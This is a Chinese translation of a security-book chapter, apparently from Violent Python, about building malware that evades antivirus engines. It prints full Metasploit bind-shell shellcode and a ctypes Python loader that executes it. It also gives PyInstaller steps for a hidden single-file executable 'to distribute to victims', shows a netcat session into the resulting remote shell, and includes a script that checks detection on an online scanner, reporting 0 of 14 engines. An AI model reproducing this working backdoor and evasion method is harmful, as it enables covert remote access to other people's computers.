# 第七章 躲避殺毒系統
本章內容:
1. 使用Python Ctypes 工作
2. 使用Python 躲避殺毒軟件
3. 使用Pyinstaller 構建Win32 可執行程序
4. 利用HTTPLib 發送GET/POST 請求
5. 和在線病毒掃描交互
> 這是一個“小男人”要向你證明的事情,無論你多么強大,無論你多么瘋狂,你都必須接受失敗!
> —Saulo Ribeiro 巴西柔術 六次世界冠軍
# 簡介:Flame!
2012 年5 月28 日,伊朗的Maher 中心檢測到了一個復雜精妙的計算機網絡攻擊。這個攻擊是此次的復雜,43 種殺毒引擎的43 種測試也無法辨認出在攻擊中使用的惡意代碼。發現一些ASCII 字符串出現在代碼中后將它稱為Flame,惡意軟件出現的感染的系統是伊朗的國家計算機戰略組。編譯Lua 腳本命名為:Beetlejuice, Microbe, Frog, Snack, and Gator,惡意軟件偷偷的通過藍牙記錄音頻,感染附近的機器,上傳截圖和數據到遠程的控制命令服務器。
估計惡意軟件已經使用兩年了,Kapersky 實驗室很快的解釋說Flame 是“迄今為止發現的最復雜的威脅之一”。它很大并且難以置信的復雜。然而,如何做到防病毒軟件無法檢測到它至少兩年了?他們沒有檢測到它是因為大多數殺毒軟件只要是將基于簽名檢測作為主要的檢測方法。盡管一些廠商開始采取一些更復雜的方法如啟發式或者名譽度,但這些依然是性概念。
在最后一章,我們將創建一個殺毒軟件來躲避殺毒引擎。所使用的概念主要是Mark Baggett 實現的,大約一年前它分享了他的方法。然而,繞過殺毒軟件的方法在本章的寫作時間時任然可用。注意到Flame,使用了編譯的Lua 腳本。我們將實現Mark 的方法,編譯Python 腳本為Windows 可執行程序,為了躲避殺毒軟件。
## 躲避殺毒軟件
為了創建惡意軟件,我們需要惡意代碼。Metasploit 框架包含了一個惡意代碼庫。我們可以使用Metasploit 生成一些C 風格的ShellCode 作為惡意軟件的攻擊荷載。我們將使用簡單的Windows 綁定shell,將綁定`cmd.exe` 到TCP 端口:這允許攻擊者遠程連接到主機并發出命令和`cmd.exe` 程序相交互。
```
attacker:~# msfpayload windows/shell_bind_tcp LPORT=1337 C
/*
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=1337, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
```
接下來,我們寫一個腳本執行這個C 風格shellcode。Python 允許導入外來函數的庫。我們可以導入`ctypes` 庫,它允許我們和C 語言的數據類型交互。定義一個變量存儲我們的shellcode 之后,我們簡單的把它作為一個函數并執行他,作為未來的參考,我們保存這個文件為`bindshell.py`。
```
from ctypes import *
shellcode =
("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");
memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
```
而此時的腳本將會在裝有Python 解釋器的Windows 上執行,讓我們通過 Pyinstaller 編譯軟件提高它。(可以從 http://www.pyinstaller.org/ 獲得)。Pyinstaller 將Python 腳本編譯為獨立的可執行程序,可以分發給沒有安裝Python 解釋器的系統使用。在編譯腳本之前,運行`Configure.py` 腳本綁定Pyinstaller 很重要。
```
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim>cd pyinstaller-1.5.1
C:\Users\victim\pyinstaller-1.5.1>python.exe Configure.py
I: read old config from config.dat
I: computing EXE_dependencies
I: Finding TCL/TK...
<..SNIPPED..>
I: testing for UPX...
I: ...UPX unavailable
I: computing PYZ dependencies...
I: done generating config.dat
```
接下來,我們將指導Pyinstaller 建立一個說明文件為Windows 的可執行文件做準備,我們將指示Pyinstaller 不顯示一個控制臺用 `--noconsole` 選項,最終構建一個最終的可執行程序到一個單獨的文件用`--onefile` 選項。
```
C:\Users\victim\pyinstaller-1.5.1>python.exe Makespec.py --onefile --noconsole bindshell.py
wrote C:\Users\victim\pyinstaller-1.5.1\bindshell\bindshell.spec
now run Build.py to build the executable
```
接下來,建立了說明文件后,我們將指示Pyinstaller 建立一個可執行文件分發給我們的受害者。Pyinstaller 創建一個名為`bindshell.exe` 的可執行程序在目錄`bindshell\dist\`下,我們現在可以分發這個可執行程序給任何Windows 32 位系統的受害者。
```
C:\Users\victim\pyinstaller-1.5.1>python.exe Build.py bindshell\bindshell.spec
I: Dependent assemblies of C:\Python27\python.exe:
I: x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_none
checking Analysis
<..SNIPPED..>
checking EXE
rebuilding outEXE2.toc because bindshell.exe missing
building EXE from outEXE2.toc
Appending archive to EXE bindshell\dist\bindshell.exe
```
在我們的受害者的電腦上運行可執行程序后,我們可以看到TCP 的1337 端口正在監聽。
```
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>bindshell.exe
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>netstat -anp TCP
Active Connections
Proto Local Address oreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1337 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING
```
連接到受害者的IP 地址和TCP 的1337 端口,我們看到我們的惡意軟件正在成功的運行,正如預期的那樣。但是它能成功的躲避殺毒軟件碼?在下一節我們將編寫一個Python 腳本來驗證:
```
attacker$ nc 192.168.95.148 1337
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>
```
## 驗證躲避
我們將使用服務`vscan.novirusthanks.org` 掃描我們的可執行程序。NoVirusThanks 提供了一個WEB 頁面接口上傳可疑文件并用14 種不同的殺毒引擎掃描。使用WEB 頁面接口上傳惡意文件時可以告訴我們我們想知道的,讓我們利用這個機會編寫一個快速的Python 腳本來自動化處理這個過程。用tcpdump 捕獲和WEB 頁面接口交互的過程給了我們的Python 腳本的一個很好的開始點。我么可以看到,HTTP 頭包含了一個圍繞文件內容邊界的設定。我們的腳本需要這些頭和這些參數,為了提交文件:
```
POST / HTTP/1.1
Host: vscan.novirusthanks.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U
Referer: http://vscan.novirusthanks.org/
Accept-Language: en-us
Accept-Encoding: gzip, deflate-------WebKitFormBoundaryF17rwCZdGuPNPT9U
Content-Disposition: form-data; name="upfile";filename="bindshell.exe"
Content-Type: application/octet-stream
<..SNIPPED FILE CONTENTS..>
------WebKitFormBoundaryF17rwCZdGuPNPT9U
Content-Disposition: form-data; name="submitfile"
Submit File
------WebKitFormBoundaryF17rwCZdGuPNPT9U--
```
我們現在要利用`httplib` 編寫一個快速的函數將文件名作為參數。打開文件后讀取內容,它創建了一個到`vscan.novirusthanks.org` 的連接并提交頭部和參數。頁面返回的響應指向上傳文件的分析內容頁面。
```
def uploadFile(fileName):
print("[+] Uploading file to NoVirusThanks...")
fileContents = open(fileName, 'rb').read()
header = {'Content-Type': 'multipart/form-data; boundary=----
WebKitFormBoundaryF17rwCZdGuPNPT9U'}
params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data;"+"name=\"upfile\"; filename=\""+str(fileName)+"\""
params += "\r\nContent-Type: "+"application/octetstream\r\n\r\n"
params += fileContents
params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data;"+"name=\"submitfile\"\r\n"
params += "\r\nSubmit File\r\n"
params +="------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"
conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close()
return location
```
檢查從`vscan.novirusthanks.org`,服務器返回的定位字段,我們可以看到服務器返回的構建頁面來自:`http://vscan.novirusthanks.org +/file/ + md5sum(filecontents) + / + base64(filename)/`。該頁面包含了一些JavaScript 來打印一些消息說正在掃描和加載頁面直到完整的分析頁面準備好。在這一點上,頁面返回HTTP 302 狀態碼,跳轉到`http://vscan.novirusthanks.org + /analysis/+md5sum(file contents) + / + base64(filename)/`頁面。我們新的一頁在URL 中簡單的交換了分析的文檔:
```
Date: Mon, 18 Jun 2012 16:45:48 GMT
Server: Apache
Location:http://vscan.novirusthanks.org/file/d5bb12e32840f4c3fa00662e412a66fc/bXNmLWV4ZQ==/
```
縱觀分析頁面的源代碼,我們看到它包含一個檢驗率的字符串,該字符串包含了一些CSS 代碼,我們需要將它剝離出來并打印在控制臺。
```
File Info
Report date: 2012-06-18 18:48:20 (GMT 1)
File name: [b]bindshell-exe[/b]
File size: 73802 bytes
MD5 Hash: d5bb12e32840f4c3fa00662e412a66fc
SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364
Detection rate: [color=red]0[/color] on 14 ([color=red]0%[/color])
```
在了解了如何連接分析頁面并剝離CSS 代碼,我們可以編寫Python 腳本打印我們上傳的可疑文件的掃描結果。首先,我們的腳本連接到返回掃描消息的文件頁面,一旦這個頁面返回一個HTTP 302重定向到我們的分析頁面,我們可以使用正則表達式讀取檢測率然后替換CSS 代碼為空字符串。我們將打印處檢
測率字符串到屏幕上:
```
def printResults(url):
status = 200
host = urlparse(url)[1]
path = urlparse(url)[2]
if 'analysis' not in path:
while status != 302:
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
status = resp.status
print('[+] Scanning file...')
conn.close()
time.sleep(15)
print('[+] Scan Complete.')
path = path.replace('file', 'analysis')
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\) ', data)
htmlStripRes = reResults[1].replace('<font color=\'red\'>', '').replace('</font>', '')
print('[+] ' + str(htmlStripRes))
```
添加一些選項的解析,我們現在有一個腳本能夠上傳文件,使用`vscan.novirusthanks.org` 服務掃描它,并打印檢測率:
```
import re
import httplib
import time
import os
import optparse
from urlparse import urlparse
def uploadFile(fileName):
print("[+] Uploading file to NoVirusThanks...")
fileContents = open(fileName, 'rb').read()
header = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'}
params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data;"+"name=\"upfile\"; filename=\""+str(fileName)+"\""
params += "\r\nContent-Type: "+"application/octet stream\r\n\r\n"
params += fileContents
params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data;"+"name=\"submitfile\"\r\n"
params += "\r\nSubmit File\r\n"
params +="------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"
conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close()
return location
def printResults(url):
status = 200
host = urlparse(url)[1]
path = urlparse(url)[2]
if 'analysis' not in path:
while status != 302:
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
status = resp.status
print('[+] Scanning file...')
conn.close()
time.sleep(15)
print('[+] Scan Complete.')
path = path.replace('file', 'analysis')
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\) ', data)
htmlStripRes = reResults[1].replace('<font color=\'red\'>','').replace('</font>', '')
print('[+] ' + str(htmlStripRes))
def main():
parser = optparse.OptionParser('usage%prog -f <filename>')
parser.add_option('-f', dest='fileName', type='string', help='specify filename')
(options, args) = parser.parse_args()
fileName = options.fileName
if fileName == None:
print(parser.usage)
exit(0)
elif os.path.isfile(fileName) == False:
print('[+] ' + fileName + ' does not exist.')
exit(0)
else:
loc = uploadFile(fileName)
printResults(loc)
if __name__ == '__main__':
main()
```
讓我們先來測試一個已知的惡意軟件來驗證殺毒程序是否能成功的檢測出來。我們將建立一個Windows TCP 綁定shell 綁定TCP 的1337 端口。使用Metasploit 默認的編碼器,我們將編碼它為一個標準的Windows 可執行程序。注意結果,我們能看到14 個殺毒引擎中有10 個檢測出該文件是惡意的,這個文件很明顯不能躲避殺毒軟件的檢測:
```
attacker$ msfpayload windows/shell_bind_tcp LPORT=1337 X > bindshell.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_bind_tcp
Length: 341
Options: {"LPORT"=>"1337"}
attacker$ python virusCheck.py –f bindshell.exe
[+] Uploading file to NoVirusThanks...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scan Complete.
[+] Detection rate: 10 on 14 (71%)
```
然而,運行我們的檢測腳本針對我們用Python 腳本編譯的可執行程序,我們可以看到14 個殺毒引擎都檢測失敗。成功!我們可以用一點Python 完全的躲避殺毒引擎。
```
C:\Users\victim\pyinstaller-1.5.1>python.exe virusCheck.py -f
bindshell\dist\bindshell.exe
[+] Uploading file to NoVirusThanks...
[+] Scan Complete.
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Detection rate: 0 on 14 (0%)
```
## 本章總結
恭喜!你已經完成了最后一章,希望這本書對你有幫助。前面已經覆蓋了各種不同的概念。從如何編寫一些Python代碼來協助網絡測試開始,我們過渡到為法庭取證分析,分析網絡流量,滲透測試無線網絡,分析WEB 頁面和社交平臺編寫代碼。在最后一章解釋了一個編寫躲避殺毒引擎掃描的程序的方法。看完本書之后,返回到前面的章節。你可以怎樣修改腳本來滿足你特定的需求?你怎么讓他們更有效,更高效或者更致命?例如在這一章中,你可以使用編碼技術編碼shellcode 來躲避殺毒引擎嗎?你會怎樣編寫今天的Python 程序?對于這些想法,我們給你一些亞里士多德的智慧名言:“We make war that we may live in peace.”